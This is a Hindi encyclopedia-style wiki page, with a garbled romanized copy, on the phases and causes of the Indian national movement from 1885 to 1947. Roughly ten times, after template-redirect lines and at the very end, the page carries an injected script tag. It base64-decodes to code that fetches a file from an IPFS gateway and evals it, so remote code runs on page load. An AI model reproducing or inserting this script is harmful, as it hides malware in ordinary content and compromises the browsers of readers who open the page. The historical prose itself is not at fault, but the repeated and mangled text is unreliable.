[[कांग्रेस]] के चार प्रमुख नेताओं- [[बाल गंगाधर तिलक]], [[लाला लाजपत राय]], [[विपिन चन्द्र पाल]] एवं [[अरविन्द घोष]] ने [[भारत]] में उग्रवादी आन्दोलन का नेतृत्व किया। इन नेताओं ने स्वराज्य प्राप्ति को ही अपना प्रमुख लक्ष्य एवं उद्देश्य बनाया। तिलक ने नारा दिया कि 'स्वराज्य मेरा जन्म सिद्ध अधिकार है और मैं इसे लेकर रहूँगा।' इसके अलावा उन्होंने कहा 'स्वराज्य अथवा स्वशासन स्वधर्म के लिए आवश्यकता है।' स्वराज्य के बिना न कोई सामाजिक सुधार हो सकता है, न कोई औद्योगिक प्रगति, न कोई उपयोगी शिक्षा और न ही राष्ट्रीय जीवन की परिपूर्णता। यही हम चाहते हैं और इसी के लिए ईश्वर ने मुझे इस संसार में पैदा किया है।' अरविन्द घोष ने कहा कि 'राजनीतिक स्वतन्त्रता एक राष्ट्र का जीवन श्वास है। बिना राजनीतिक स्वतन्त्रता के सामाजिक तथा शैक्षिणक सुधार, औद्योगिक प्रसार, एक जाति की नैतिक उन्नति आदि की बात सोचना मूर्खता की चरम सीमा है।'
 
[[कांग्रेस]] के चार प्रमुख नेताओं- [[बाल गंगाधर तिलक]], [[लाला लाजपत राय]], [[विपिन चन्द्र पाल]] एवं [[अरविन्द घोष]] ने [[भारत]] में उग्रवादी आन्दोलन का नेतृत्व किया। इन नेताओं ने स्वराज्य प्राप्ति को ही अपना प्रमुख लक्ष्य एवं उद्देश्य बनाया। तिलक ने नारा दिया कि 'स्वराज्य मेरा जन्म सिद्ध अधिकार है और मैं इसे लेकर रहूँगा।' इसके अलावा उन्होंने कहा 'स्वराज्य अथवा स्वशासन स्वधर्म के लिए आवश्यकता है।' स्वराज्य के बिना न कोई सामाजिक सुधार हो सकता है, न कोई औद्योगिक प्रगति, न कोई उपयोगी शिक्षा और न ही राष्ट्रीय जीवन की परिपूर्णता। यही हम चाहते हैं और इसी के लिए ईश्वर ने मुझे इस संसार में पैदा किया है।' अरविन्द घोष ने कहा कि 'राजनीतिक स्वतन्त्रता एक राष्ट्र का जीवन श्वास है। बिना राजनीतिक स्वतन्त्रता के सामाजिक तथा शैक्षिणक सुधार, औद्योगिक प्रसार, एक जाति की नैतिक उन्नति आदि की बात सोचना मूर्खता की चरम सीमा है।'
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==तृतीय चरण==
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{{main|भारतीय राष्ट्रीय आन्दोलन (तृतीय चरण)}}
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'भारतीय राष्ट्रीय आन्दोलन' का तृतीय चरण [[1919]] ई. से [[1947]] ई. तक रहा। आन्दोलन के इस चरण में मुख्य रूप से [[गाँधी जी]] ही भारतीय राजनीतिक मंच पर छाए रहे। गाँधी जी के इस कार्यकाल को [[भारतीय इतिहास]] में '[[गाँधी युग]]' के नाम से जाना जाता है।
  
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==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
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==संबंधित लेख==
 
==संबंधित लेख==
{{औपनिवेशिक काल}}
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{{भारतीय स्वतंत्रता आंदोलन}}{{औपनिवेशिक काल}}
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[[Category:इतिहास कोश]][[Category:औपनिवेशिक काल]][[Category:आधुनिक काल]][[Category:भारतीय स्वतंत्रता आंदोलन]]
 
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Latest revision as of 11:01, 1 August 2017

bharatiy rashtriy andolan
vivaran bharat ki azadi ke lie sabase lambe samay tak chalane vala ek pramukh rashtriy andolan tha.
shuruat 1885 ee. mean kaangres ki sthapana ke sath hi is aandolan ki shuruat huee, jo kuchh utar-chadhavoan ke sath 15 agast, 1947 ee. tak anavarat roop se jari raha.
pramukh sangathan evan parti garam dal, naram dal, gadar parti, azad hiand fauj, bharatiy rashtriy kaangres, iandiyan homarool lig, muslim lig
any pramukh aandolan asahayog aandolan, bharat chho do andolan, savinay avajna andolan, svadeshi andolan, namak satyagrah
parinam bharat svatantr rashtr ghoshit hua.
sanbandhit lekh gaandhi yug, r aaulet ekt, thiyos aauphikal sosayati, varnakyoolar pres ekt, indiyan kauansil ekt, hartog samiti, hantar samiti, batalar samiti riport, neharoo samiti, golamez sammelan
any janakari bharat ke rashtriy andolan ko tin bhagoan mean baanta ja sakata hai-
  1. pratham charan
  2. dvitiy charan
  3. tritiy charan.

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bharatiy rashtriy andolan 'bharatiy itihas' mean lambe samay tak chalane vala ek pramukh rashtriy andolan tha. is andolan ki aupacharik shuruat 1885 ee. mean kaangres ki sthapana ke sath huee thi, jo kuchh utar-chadhavoan ke sath 15 agast, 1947 ee. tak anavarat roop se jari raha. varsh 1857 se bharatiy rashtravad ke uday ka prarambh mana jata hai. rashtriy sahity aur desh ke arthik shoshan ne bhi rashtravad ko jagane mean mahattvapoorn yogadan diya. bharat ke rashtriy andolan ko tin bhagoan mean baanta ja sakata hai-

pratham charan (1885-1905 ee. tak)

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

is kal mean 'bharatiy rashtriy kaangres' ki sthapana huee, kiantu is samay tak isaka lakshy poori tarah se aspasht tha. us samay is andolan ka pratinidhitv alp shikshit, buddhijivi madhyam vargiy log kar rahe the. yah varg pashchim ki udaravadi evan ativadi vicharadhara se prabhavit tha. [[chitr:Mahatma-Gandhi-1.jpg|thumb|left|mahatma gaandhi]]

dvitiy charan (1905 se 1919 ee. tak)

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is samay tak 'bharatiy rashtriy kaangres' kafi paripakv ho gee thi tatha usake lakshy evan uddeshy spasht ho chuke the. rashtriy kaangres ke is manch se bharatiy janata ke samajik, arthik, rajanitik evan saanskritik vikas ke lie prayas shuroo kiye gaye. is dauran kuchh ugravadi vicharadhara vale sangathanoan ne british samrajyavad ko samapt karane ke lie pashchim ke hi kraantikari dhang ka prayog bhi kiya.

tritiy evan antim charan (1919 se 1947 ee. tak)

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

is kal mean mahatma gaandhi ke netritv mean kaangres ne poorn svarajy ki prapti ke lie andolan prarambh kiya.

rashtravad uday ke karan

1857 ee. ka varsh bharatiy rashtravad ke uday ka prarambh mana jata hai. isake uday ke lie nimnalikhit karan uttaradayi the-

pashchaty shiksha evan sanskriti

pashchaty shiksha evan sanskriti ne rashtravadi bhavana ko jagane mean mahatvapoorn bhoomika ka nirvah kiya. aangrezoan ne bharatiyoan ko isalie shikshit nahian kiya, kyoanki ve nahian chahate the ki unamean rashtriyata ki bhavana jage. unaka uddeshy to british prashasan evan vyaparik farmoan ke lie lipik ki avashyakata ki poorti karana tha, parantu yah aangrezoan ka durbhagy siddh hua ki bharatiyoan ko bark, mil, glaidaston, brait aur l aaurd maikale jaise pramukh vicharakoan ke vichar sunane ka avasar mila tatha miltar, sheli, bayaran jaise mahanh kaviyoan, jo svayan hi briten ki barbar nitiyoan se joojh rahe the, ki kavitaoan ko padhane evan valteyar, rooso, maijini jaise logoan ke vicharoan ko janane ka saubhagy mila. is tarah pashchaty shiksha ke prabhav se logoan mean rashtravadi bhavanayean panapane lagian. 1833 ee. mean aangrezi ko shiksha ka madhyam banaya gaya. pashchimi deshoan ke sath sambandh, pashchaty sahity, vijnan, itihas evan darshan ke adhyayan se bharatiyoan ko bharat mean prachalit kuprathaoan ke bare mean janakari huee, sath hi unamean rashtravad ki bhavana ka bhi uday hua. [[chitr:Pile-Of-News-Papers.jpg|thumb|left|samachar patr]]

rashtravad ka uday

samachar-patroan evan pres ka rashtravad ke uday mean mahatvapoorn yogadan raha hai. bharat mean raja ramamohan ray ne 'rashtriy pres' ki nianv dali. unhoanne 'sanvad kaumudi' bangala bhasha mean evan 'mirat ul akhabar' farasi mean, jaise patroan ka sampadan kar bharat mean rajanitik jagaran ki disha mean pratham prayas kiya. 1859 ee. mean rashtravadi bhavana se ot-prot saptahik patr ‘som prakash’ ka sampadan eeshvarachandr vidyasagar ne kiya. isake atirikt bangadoot, amrit bazar patrika, kesari, hindoo, payaniyar, maratha, indiyan mirar, adi ne british hukoomat ki galat nitiyoan ki alochana kar bharatiyoan mean rashtravad ki bhavana ko jagaya.

  1. REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

rashtriy sahity

rashtriy sahity bhi rashtravadi bhavana ki utpatti ke lie zimmedar hai. adhunik kh di hindi ke pitamah bharatendu harishachandr ne 1876 ee. mean likhe apane natak ‘bharat durdasha’ mean aangrezoan ki bharat ke prati akramak niti ka ullekh kiya hai. is kshetr mean harishchandr ke atirikt pratap narayan mishr, balkrishna bhatt, badrinarayan chaudhari bhi ate haian, jinaki rachanayean desh prem ki bhavana se ot prot thi. any bhashaoan, jaise urdoo ke sahity mean muhammad husain, altap husain ki rachanaoan, bangala mean bankimachandr chatarji, marathi mean chipalukar, gujarati mean narmada, tamil mean subrahmanyam bharati adi ki rachanaoan mean desh mean prem ki bhavana milati hai.

desh ka arthik shoshan

aangrezoan ke dvara desh ka jo arthik shoshan kiya ja raha tha, usane bhi rashtravad ko jagane mean mahattvapoorn yogadan diya. dadabhaee nauroji ne dhan nishkasan ke siddhaant ko samajhakar aangrezoan ke shoshan ka khaka khiancha. aangrezoan ki bharat virodhi arthik niti ne bharatiyoan ke man mean videshi rajy ke prati nafarat evan svadeshi mal evan rajy ke prati prem ko jagaya. bharat ke arthik shoshan ki parakashtha l aaurd litan ke shasan kal mean dekhane ko milati hai.[[chitr:Lord-Macaulay.jpg|thumb|l aaurd maikale]]

any mahattvapoorn karan

  • aangrezoan ke bharat mean ane se pahale yahaan rajanitik ekikaran ka abhav tha. mugal samrat aurangazeb ke bad bharatiy sima chhinn-bhinn ho gee thi, par aangrezi samrajy ki sthapana se bharat mean rajanitik ekikaran hua.
  • tivr parivahan tatha sanchar sadhanoan mean rel, dak v tar adi ke vikas ne bhi bharat mean rashtravad ki j d ko mazaboot kiya. relave ne isamean mukhy bhoomika ka nirvah kiya. edavin aranold ne likha hai ki- "relave bharat ke lie vah kary kar degian, jo b de-b de vansho ne pahale kabhi nahian kiya, jo akabar apani dayashilata v tipoo sultan apani ugrata dvara nahian kar saka, ve bharat ko ek rashtr nahian bana sake."
  • bauddhik punarjagaran ne rashtravad ke uday mean ek ahamh bhoomika nibhayi. raja ramamohan ray, dayanand sarasvati, svami vivekanand adi ne bharatiyoan ke antarman ko jhakajhora. is sandarbh mean dayanand sarasvati ne kaha ki- "svadeshi rajy sarvopari evan sarvottam hota hai.' svami ramatirth ne kaha ki 'mai sasharir bharat hooan aur sara bharat mera sharir hai."
  • yooropiy vidvanh sar viliyam joans, moniyar viliyamj, maiksamoolar, viliyam roth, saimasan, maikad aaunald adi ne shodhoan ke dvara bharat ki prachin saanskritik dharohar se sabaka parichay karaya aur nishchit roop se isase bharatiyoan ke man se hin bhavana gayab huee. unamean atm-samman evan atm-vishvas jaga, jisase unake andar desh-bhakti evan rashtravad ki bhavana protsahit huee.
  • aangrezoan dvara bharatiyoan ke prati har jagah sena, udyog, sarakari naukariyoan evan arthik kshetr mean apanayi jane vali bhedabhav poorn niti ne bhi rashtravadita ko janm diya.
  • l aaurd litan ke pratikriyavadi kary, jaise- dilli darabar, varnakyoolar pres ekt, arms ekt, iandiyan sivil sarvis (bharatiy prashasanik seva) ki ayu ko 21 varsh se ghatakar 19 varsh karana, dvitiy aangl-afagan yuddh adi ne rashtravad ke uday ke marg ko prashast kiya.[[chitr:Lord-Ripon.jpg|thumb|left|l aaurd ripan]]

hyoom ka yogadan

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

'bharatiy rashtriy kaangres' ki sthapana se poorv is disha mean kiye gaye mahattvapoorn prayasoan ke antargat 1 march, 1883 ee. ko e.o. hyoom ne 'kalakatta vishvavidyalay' ke snatakoan ke nam ek patr likha, jisamean unhoanne sab se mil-julakar svadhinata ke lie prayatn karane ki apil ki. is apil ka shikshit bharatiyoan par achchha prabhav p da. ve ek akhil bharatiy sangathan ki avashyakata mahasoos karane lage. is disha mean nishchit roop se pahala qadam sitambar, 1884 ee. mean uthaya gaya, jab 'adayar' (madras) mean 'thiyosofikal sosaiti' ka varshik adhiveshan hua. is adhiveshan mean hyoom sahit dadabhaee nauroji, surendranath banarji adi shamil hue. isi ke bad 1884 ee. mean 'indiyan neshanal yooniyan' namak deshavyapi sangathan sthapit hua. is sangathan ki sthapana ka pramukh uddeshy bharatiy logoan dvara desh ki samajik samasyaoan ke sambandh mean vichar-vimarsh karana tha.

bharatiy rashtriy kaangres ki sthapana

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

isi samay hyoom ne tatkalin vayasaray lard dafarin se salah li aur aisa mana jata hai ki 'bharatiy rashtriy kaangres' dafarin ke hi dimag ki upaj thi. dafarin bhi chahata tha ki bharatiy rajanitijn varsh mean ek bar ekatr hoan, jahaan par ve prashasan ke karyoan ke dosh evan unake nivaranarth sujhavoan dvara sarakar ke prati apani vastavik bhavana prakat karean, taki prashasan bhavishy mean ghatane vali kisi ghatana ke prati satark rahe. hyoom dafarin ki yojana se sahamat ho gaye. is sangathan ki sthapana se poorv hyoom ianglaind gaye, jahaan unhoanne l aaurd ripan, l aaurd dalahauzi j aaun vrait evan sleg jaise rajanitijnoan se is vishay par vyapak vichar-vimarsh kiya. bharat ane se pahale hyoom ne ianglaind mean bharatiy samasyaoan ke prati british sansad ke sadasyoan mean ruchi paida karane ke uddeshy se ek 'bharat sansadiy samiti' ki sthapana ki. bharat ane par hyoom ne 'indiyan neshanal yooniyan' ki ek baithak bambee mean 25 disambar, 1885 ee. ko ki, jahaan par vyapak vichar-vimarsh ke bad 'indiyan neshanal yuniyan' ka nam badalakar 'indiyan neshanal kaangres' ya 'bharatiy rashtriy kaangres' rakha gaya. yahian par is sanstha ne janm liya. pahale isaka sammelan poona mean hona tha, parantu vahaan haija phail jane ke karan sthan parivartit kar bambee mean sammelan ka ayojan kiya gaya.

pratham charan

[[chitr:Ishwar-Chandra-Vidyasagar.jpg|thumb|eeshvar chandr vidyasagar]]

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

1885 ee. mean bharatiy rashtriy kaangres ki sthapana ke sath hi is par udaravadi rashtriy netaoan ka varchasv sthapit ho gaya. tatkalin udaravadi rashtravadi netaoan mean pramukh the- dadabhaee nauroji, mahadev govind ranade, firojashah mehata, surendranath banarji, dinasha vacha, vyomesh chanh‍dr banarji, gopal krishna gokhale, madan mohan malaviy adi. kaangres ki sthapana ke arambhik 20 varsho mean usaki niti atyant hi udar thi, isalie is kal ko kaangres ke itihas mean 'udaravadi rashtriyata ka kal' mana jata hai. kaangres ke sansthapak sadasy bharatiyoan ke lie dharm aur jati ke pakshapat ka abhav, manav mean samanata, qanoon ke samaksh samanata, nagarik svatantrataoan ka prasar aur pratinidhi sansthoan ke vikas ki kamana karate the. udaravadi netaoan ka manana tha ki sanvaidhanik tarike apana kar hi ham desh ko azad kara sakate hai.

dvitiy charan

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

andolan ke is charan mean ek or ugravadi to doosari or kraantikari andolan chalaye gaye. donoan hi ek matr uddeshy, british rajy se mukti evan poorn svarajy ki prapti, ke lie l d rahe the. ek taraf ugravadi vicharadhara ke log 'bahishkar andolan' ko adhar banakar l d rahe the to doosari or kraantikari vicharadhara ke log bamoan aur bandookoan ke upayog se svatantrata prapt karana chahate the. jahaan ek or ugravadi shantipoorn sakriy rajanitik andolanoan mean vishvas karate the, vahian kratikari aangrezoan ko bharat se bhagane mean shakti evan hiansa ke upayog mean vishvas karate the.

rajanitik lakshy evan kary pranali

[[chitr:Lal-Bal-Pal.jpg|thumb|left|lal, bal aur vipin chandr pal|pal]] kaangres ke char pramukh netaoan- bal gangadhar tilak, lala lajapat ray, vipin chandr pal evan aravind ghosh ne bharat mean ugravadi andolan ka netritv kiya. in netaoan ne svarajy prapti ko hi apana pramukh lakshy evan uddeshy banaya. tilak ne nara diya ki 'svarajy mera janm siddh adhikar hai aur maian ise lekar rahooanga.' isake alava unhoanne kaha 'svarajy athava svashasan svadharm ke lie avashyakata hai.' svarajy ke bina n koee samajik sudhar ho sakata hai, n koee audyogik pragati, n koee upayogi shiksha aur n hi rashtriy jivan ki paripoornata. yahi ham chahate haian aur isi ke lie eeshvar ne mujhe is sansar mean paida kiya hai.' aravind ghosh ne kaha ki 'rajanitik svatantrata ek rashtr ka jivan shvas hai. bina rajanitik svatantrata ke samajik tatha shaikshinak sudhar, audyogik prasar, ek jati ki naitik unnati adi ki bat sochana moorkhata ki charam sima hai.'

tritiy charan

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

'bharatiy rashtriy andolan' ka tritiy charan 1919 ee. se 1947 ee. tak raha. andolan ke is charan mean mukhy roop se gaandhi ji hi bharatiy rajanitik manch par chhae rahe. gaandhi ji ke is karyakal ko bharatiy itihas mean 'gaandhi yug' ke nam se jana jata hai.

  1. REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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tika tippani aur sandarbh

sanbandhit lekh

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>